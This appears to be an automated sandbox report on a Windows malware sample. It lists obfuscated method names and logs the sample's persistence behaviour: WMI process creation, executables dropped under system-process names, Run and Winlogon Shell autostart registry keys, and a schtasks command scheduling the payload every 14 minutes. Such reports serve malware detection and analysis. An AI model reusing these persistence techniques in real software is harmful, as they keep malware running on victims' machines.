Source: B9exXW7c3t.exe, KGltI8yfmDksAvsFfIx.cs High entropy of concatenated method names: '_13J', '_7WJ', 'G8c', 'B28', 'puUsBBhRDqGZVYHbG72', 'B3gNTxhx6PmT8oFEgG7', 'V75Cnvh8B5u3LP4ruhJ', 'CkwY7ShZR9RcfYiA9N3', 'iMCaT9hEvqFWnWYjabX', 'ii84udhrNVv5F8XlpF8'
Source: B9exXW7c3t.exe, fmrMctQbt1wdvYBqlLr.cs High entropy of concatenated method names: 'K4WCYpZBGc', 'n9RCSDCk8q', 'kApCJVG7rM', 'uLwRqDEqkwu1lbfhpHa', 'EjeFmMEfPpkytKpKBQq', 'QLZQLcESIMl9fwp1h9k', 'hfmIAHEigjiHTDExwj3', 'o1GYOLE9iKXby57robg', 'hRYrZhETU6IG7M724Sb', 'I4abdWEBv4Br8xnguvX'
Source: B9exXW7c3t.exe, hI39OJytMsGNIxKkvji.cs High entropy of concatenated method names: 'vDke4BVJYg', 'iTwJuxIQOd9LFVwno99', 'WWIF5iIuXN3tpbJ0HgK', 'WNaXrPItIJd4PxkHRUV', 'mSbUQ8IoSu6LTbVWIi2', 'L1655VIOu4mEGC8nCRa', 'W21', '_7WJ', '_294', 'B28'
Source: B9exXW7c3t.exe, pAP7KAaHKY4kgigwbJt.cs High entropy of concatenated method names: 'Y54', 'Lc3', '_3f3', 'pt9', 'nBO', '_74N', '_777', 'oG5', 'Ry1', '_3bJ'
Source: B9exXW7c3t.exe, z5RnuYe7778t0dcRuDK.cs High entropy of concatenated method names: 'UNuakP8W3J', 'lfmamFu1Ua', 'QcKAPC0loNhHh2N87LO', 'TPrgxL0p2Cj9vqwefa9', 'x7cs9M0aYFRWbrtiBGV', 'LrP6Xt0HjOXeTS7ER7K', 'Y8Njmg0CtJq649sDZif', 'QnY2pb0R8yql94lcdE4', 'M03bcT0xwdC1K9ffrIP', 'SKsGZD08KTuExhrfSBP'
Source: B9exXW7c3t.exe, YKk9IoDMTUZ9turHhk2.cs High entropy of concatenated method names: 'K8a', '_117', 'tLpgXEJwar', 'tMogBaY124', 'HH7gHG6ybb', '_8x7', 'Irc', 'R21', 'B53', 'zP8'
Source: B9exXW7c3t.exe, IMwXSdD0mi6R5IsuZZY.cs High entropy of concatenated method names: '_6u4', 'mQ9', 'dBfqCZZR13', '_639', '_132', '_775', 'OOV', 'F1i', 'M4T', '_7dM'
Source: B9exXW7c3t.exe, YILP2PIiy7TsqXFB73a.cs High entropy of concatenated method names: 'abTcSnC5Ma', 'K1WcJ4E9Ja', 'x0LcfAP7KA', 'qqRDByUB74WjoJ667C4', 'j0a7oZUKBYSCXgUmFiD', 'QNZPyrUs7n8YCJ0G7YY', 'qcwEcNUJlvviscAYrf2', 'SAVSyQUniMW2pxcH3pU', 'eADVTbUyLZYnm3l4yNI', 'gR4V6oU3rxv4Sgx3RAK'
Source: B9exXW7c3t.exe, wfE2ZheU3rjm6WDQs8G.cs High entropy of concatenated method names: 'DjMIz9P3oV', 'R6karHBSZv', 'vocayHhL89', 'HOIaeOPbwL', 'YqVaIIc6cI', 'M9OaaJMsGN', 'cxKaQkvjiM', 'QpHaD7Y5xN', 'tdDassxhsj', 'njYac3V308'
Source: B9exXW7c3t.exe, S7RcMj5GewkMLW7HHZ.cs High entropy of concatenated method names: 'sEoCx7u2T', 'c2W8giJ59', 'GMPqKcQ4a', 'EXI6a0p10', 'GZhKIYb34', 'f2ORHLjmV', 'Yf5gAy7OM', 'F2Ye9oWuOHxm7Akd7JB', 'aUmxFXWONugb7vAbLwA', 'jFsP4UWjjBgFA6LbhID'
Source: B9exXW7c3t.exe, VFHhlDIaTcun5k9rVEK.cs High entropy of concatenated method names: 'JPlsjXygNB', 'RT3s3mExSQ', 'crHsMZlMyX', 'XCxshkRbNa', 'c5vslOAEUI', 'iYTsYpbdR0', 'Qywc4S18umOC2uKYpFc', 'G1CDj41RjgEU7INhbSj', 'ktftwh1xrHpOJqBZAcW', 'gGshwa1ZRKkOBJt4JoP'
Source: B9exXW7c3t.exe, AtRTcRdgpgwtmbTeZ9.cs High entropy of concatenated method names: '_4I7', '_7WJ', '_98d', 'B28', 'rfoZNStJFRmmEp2Efxk', 'hC9G3jtnlYXciuUfDXF', 'Ay9EestyBahaxSmhmNF', 'jHwW5Ct38hp4LcwtjOd', 'FcmRr8tmCylqhb6Sc61', 'K9auh3tzQGiECeBocqa'
Source: B9exXW7c3t.exe, heBkKPDR8rfL8ZFJuHG.cs High entropy of concatenated method names: 'z6M6XRmIL8', 'XcV6BbM4Ls', 'fUX6HHeaAS', 'U1s', 'yYS', '_79P', '_5lh', 'j46', 'J63', 'Eac6Feeti4'
Source: B9exXW7c3t.exe, cBiUpPQ2mJQjRA2VPxG.cs High entropy of concatenated method names: 'dJYKDyrhDR4a4i5WoET', 'ygB6NUrIw8P8gseGB9H', 'lOwXWXrOCgsXk8xDG2t', 'FkqMhGrjbrdsj8vq4ef', 'aUmjbdrLHcMHyOH5aOm', 'AGKQLlrAu2VTIY6j1M5', 'Kxrohcr2MxqbfFHajNp'
Source: B9exXW7c3t.exe, iK1PBTy0DZcte5526xp.cs High entropy of concatenated method names: '_4wN', '_7WJ', '_526', 'B28', 'jkDyGfuZ8vjX37cTkHc', 'W31eQbuE06vWbWGDPjd', 'uOwRu9urUNXSUufYp0t', 'Vn7HZnuv8BqApDMpQcZ', 'gKoBkUukVDRNvtGaqPI', 'w7xUafuMLbgLFske9Pb'
Source: B9exXW7c3t.exe, JL9XxPyZk4oMn89mDKI.cs High entropy of concatenated method names: 'CpgeywtmbT', 'bZ9eeK9Aii', 'YmWeIN08Df', 'tAjnGVjKAiUIKRbjGCF', 'SloxiYjsvBieg4qOJWm', 'ohFdc8jTaOa5GQPHjgS', 'aVHEq3jBDflRuB4C765', 'jkI77BjJTFmcjRBUtTU', 'g4nP6DjnMXMIeE3ASnS', 'KuIP2KjyZxMZKc6D7MQ'
Source: B9exXW7c3t.exe, hmyn3ladGjtmY0PXyJe.cs High entropy of concatenated method names: 'b67', '_943', '_2E2', 'P9S', '_7KZ', '_184', 'm97', '_2RG', 'wsE', 'o96'
Source: B9exXW7c3t.exe, htkArdQ6NrqAw87T4Gc.cs High entropy of concatenated method names: 'DJkC2y7k0l', 'WgjCwZfWWg', 'zsbCZyRRfP', 'oX0CjhXYQ6', 'sjGC3F3SMQ', 'VVCsQ7ExkDFMCytr1Rg', 'xqgt27ECfRTiABBgefx', 'xsBkGTERRNri0jqiUSP', 'atZ4LVE82p6HjABq2ye', 'utV477EZWvY50Fmsb5q'
Source: B9exXW7c3t.exe, N5BI93embASvlxHuglj.cs High entropy of concatenated method names: 'OKwItGltI8', 'trshjN2u3ZFl9SdFFVq', 'pkDqQ02OwmCZF6rSZGv', 'I24SC52of9P1RTTVNkc', 'qF4nqB2QXlkvgYgmfEH', 'LlnCsM2jKfdMHKheITf', 'Dllja62hwi5tnT1uFNj', 'IuDjZw2ISNaePu6k6I1', 'i35lew2LlyF3Emtbnty', 'K8QaES2AR3i1V2jB5yb'
Source: B9exXW7c3t.exe, PaZADdyHWjqwBqSVHyZ.cs High entropy of concatenated method names: '_71I', '_7WJ', 'TO2', 'B28', 'N2oDOTQGyFHKNuKIJDf', 'gLN6cUQUXJmrN6qhImv', 'FA5X9xQ6VtHcRFB40eK', 'M4LuEFQdgw5YkQfVILQ', 'BAt2BtQFCStelwRShQA', 'OIN0aRQYxHuvmNQFK73'
Source: B9exXW7c3t.exe, UquGLgyyc7PQ19LiibV.cs High entropy of concatenated method names: 'sf4', '_7WJ', 'xcX', 'B28', 'WLZwJYoGrtBuVllDxk0', 'Bcrp8woU1tuKh6txIM8', 'I70f2So6goD3pLxmrpk', 'SHKB9DodtFLb4OG05UC', 'dgIrcYoFSnDeRn3bvYj', 'mHXPHNoYQq3ya9E66Si'
Source: B9exXW7c3t.exe, BYvNKDSA7xbpvbZa6F.cs High entropy of concatenated method names: '_695', '_7WJ', '_472', 'B28', 'arCmmAtoQOD2eFcw5kv', 'nQQAK3tQ31v4JHk3PrR', 'fVwbJNtucHP6FKKcoPT', 'hQ4FqQtOw3AdF1EfS2Z', 'Dow0OWtjJ0uKK07P5cf', 'GV2sCmthvdfFUZTu7Q9'
Source: B9exXW7c3t.exe, Y3oVS6yAkHBSZv5ocHh.cs High entropy of concatenated method names: '_3B5', '_7WJ', 'D4o', 'B28', 'rnge6ThTQ5RwtuKuU8y', 'JGcBW8hBiFdH8StCpV5', 'fucytShKUMS2pB9fxHk', 'tGA2YPhs9AlNj6LGfFy', 'vKfwDshJhHPkyjSkNCs', 'DteGouhntP0UvRp6v3r'
Source: B9exXW7c3t.exe, hH4WNrDJgnywXm9Q5gV.cs High entropy of concatenated method names: 'GT0g5PLYrV', 'W4y', '_854', 'lF2', 'xOCg0MLnyl', 'e61', 'uTxgCDKTbi', 'Baag8JwgoS', 'ft5', 'oPUgqPodEB'
Source: B9exXW7c3t.exe, Kntdd4yvSx6ZuTsmr5W.cs High entropy of concatenated method names: 'f6YydEf1Lv', 'r3A8qdjrpSIYW0bqtRd', 'PblOH9jvLYNuaImCASF', 'XGVUGcjZ0Tr5hqscSdy', 'm2QU5ujEcZ4c2bYdauk', 'ewquNkjky2lKQai4JaK', '_314', '_7WJ', 'IO3', 'B28'
Source: B9exXW7c3t.exe, GTbGbJIm5k9fjQ9noHB.cs High entropy of concatenated method names: 'ImDc3fW1m4', 'PTTcMFeLUi', 'nXbchNLvEb', 'muSclyoU54', 'jbvEUWUvJO1aHobAWmV', 'ulxMO7UksrOpe19qJXx', 'w9k3eqUM0ERwD9ByKpl', 'tMbKbhUEvswwc01nEGE', 'KdrAVjUryZlZ8Px5vUP', 'G6bSpYU4SDWA3WBqQrA'
Source: B9exXW7c3t.exe, WoeuIyatIsWlEhE4Goc.cs High entropy of concatenated method names: 'TnH18bOXEH', 'ccq168n8kp', 'Fos1kr1k0e', 'S2a1mG48EW', 'PO511epkCm', 'wZL1iUDE54', 'KGR1LDGE6y', 'hnH1OBJC95', 'ov31UAePd7', 'kRe14Xt08D'
Source: B9exXW7c3t.exe, zhCNGyIA4pNxDM5nw42.cs High entropy of concatenated method names: '_7n5', 'iS6', 'mlud61GcAw', 'OSX', 'AYIdF0XmV9', 'tLM2B8F3HSjSRcQHmXT', 'EdBSAEFm5ALHWGnfl6e', 'CSoCdMFzIPUwvEgDgqR', 'aN5OmNYPtadF6j65O7M', 'p8UWOTYWf2nwRCHQkwU'
Source: B9exXW7c3t.exe, ggf8GrIB4rduUidIC8N.cs High entropy of concatenated method names: 'U7Dcx6ulTM', 'bHtcuVW7oL', 'RQQcE5jvnW', 'XNT8BcU52FSUSD5SVtE', 'L8ejKPUeS6O0XpCiEOU', 'wLA3F3UwPv85cbNloiq', 'mWxCVpU16bDUvWKXyhg', 'VxDc1M5nw4', 'JnCciBgbxm', 'urccLR4UQF'
Source: B9exXW7c3t.exe, lmUQtRlswqIH8kYN1G.cs High entropy of concatenated method names: 'a2n', '_7WJ', 'Xk2', 'B28', 'cmMqh9Xbbv6mrKmenDy', 'xqPfxfXfmxPvELDOR55', 'C7ZY5eXSxy25GbP6yCC', 'DYHjfmXqrggQkaiifQc', 'f4A36BXiBCywqYJFpC6', 'DiPgVFX9ALtdeZWkkyh'
Source: B9exXW7c3t.exe, v7ax95yTu1qmfFeJ8Cw.cs High entropy of concatenated method names: '_88F', '_7WJ', '_461', 'B28', 'yLKGEkuc4joWjFe6kQA', 'opirSRuNKEBv9j1rKZN', 'WMkxT7uVw6pIPHVoZH4', 'uXI30Qua0qTJbb1t2k2', 'J3kPnhuH4576xwo0LQR', 'ziMD8sulT7wrkhe667j'
Source: B9exXW7c3t.exe, Ku36I3IjpVunVO0eJww.cs High entropy of concatenated method names: '_9Yl', 'Q1xdsPW3nN', 'JuGXdF72l1', 'DiudfiELui', 'lAchntdJ9MJ7B6HwQd6', 'HByHuVdn3i4d8LSJCx4', 'XjZccidy8bhx52L2Baj', 'td8ESBdKI50wOnqiFLs', 'xIIJWwdsYHtivn8cegR', 'VgxYP3d3icPlO2ao3tQ'
Source: B9exXW7c3t.exe, uXQyJVfDCvhLGKPylU.cs High entropy of concatenated method names: 'P1z', '_7WJ', '_5Ch', 'B28', 'F3Y3Qut05SccafG5H2s', 'BuSKrftgFmmmiDpjVyo', 'CUNlultedGGtL7WnsUY', 'o0PLdqtwdKfo85uiEOs', 'I3MZnnt5BycmeDMBH2O', 'p8WrrDt1rT4OFnyb5C2'
Source: B9exXW7c3t.exe, XhtFW7QnXI11jUpgjMc.cs High entropy of concatenated method names: 'EN8', '_441', 'eR1', '_284', 'V32', '_8BX', 'Yh5', 'Kg3', 'n91', 'y2f'
Source: B9exXW7c3t.exe, q3UK9hQRPO6AgaAY5Pk.cs High entropy of concatenated method names: 'xnPCMgHY92', 'g7UChb53iQ', 'sgdCl1ZyQO', 'QK9NrdEMwSu8MYqJkST', 'dKnWoDEvV3DOxHrYyUI', 'vnwFxHEkX4YeCoMW9kP', 'wRkKffE4UobaIFAIDSK', 'PuXN3vEbTW5PDWKAZ78'
Source: B9exXW7c3t.exe, XleMGKewg6M5wFrx09t.cs High entropy of concatenated method names: 'aStDcpGIto', 'NdVDXGBGuU', 'c09fVO5PgY1eUd9tJsC', 'hinc505WTTdJ0WTH9Yd', 'f1K1hawmMOtmPo8Cgmg', 'cZS1nwwzosgptUa5gDX', 'tjnDLb3hoM', 'UuNCo15ogIjteAQJBAp', 'jYgeV55Q3HLHtvNkTJX', 'Lq0xsi5XWyKnFsS6Cm7'
Source: B9exXW7c3t.exe, HJYgoTysyOgZAu7UtVa.cs High entropy of concatenated method names: '_155', '_7WJ', 'viq', 'B28', 'yXWnbBonlRU72v94kcI', 'e4OvvUoyJwTH1mSjpE1', 'TZvCGNo305Cm90aa2y3', 'zQXr2jomVDtmMEY9wZ2', 'ElIPWgozXZXTv2ToXrB', 'kIS80DQPeH53ZYkHynZ'

Persistence and Installation Behavior
barindex
Creates processes via WMI
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\B9exXW7c3t.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Drops executables to the windows directory (C:\Windows) and starts them
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Executable created and started: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Jump to behavior
Drops PE files
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Jump to dropped file
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Jump to dropped file
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Users\Default\Links\ApplicationFrameHost.exe Jump to dropped file
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Users\Default\Saved Games\QeWHGGzCXwoQygZUiDI.exe Jump to dropped file
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Jump to dropped file
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Program Files\Windows Mail\ctfmon.exe Jump to dropped file
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Users\Public\AccountPictures\RuntimeBroker.exe Jump to dropped file
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Jump to dropped file

Boot Survival
barindex
Creates an autostart registry key pointing to binary in C:\Windows
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Creates an undocumented autostart registry key
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell Jump to behavior
Creates autostart registry keys with suspicious values (likely registry only malware)
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI "C:\Users\user\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe" Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI "C:\Users\user\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe" Jump to behavior
Creates multiple autostart registry keys
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ctfmon Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "QeWHGGzCXwoQygZUiDIQ" /sc MINUTE /mo 14 /tr "'C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe'" /f
Stores files to the Windows start menu directory
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Users\user\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe\:Zone.Identifier:$DATA Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe File created: C:\Users\user\Start Menu\Programs\Windows PowerShell\2e26acd4fd0504 Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ctfmon Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ctfmon Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run winlogon Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ApplicationFrameHost Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run QeWHGGzCXwoQygZUiDI Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
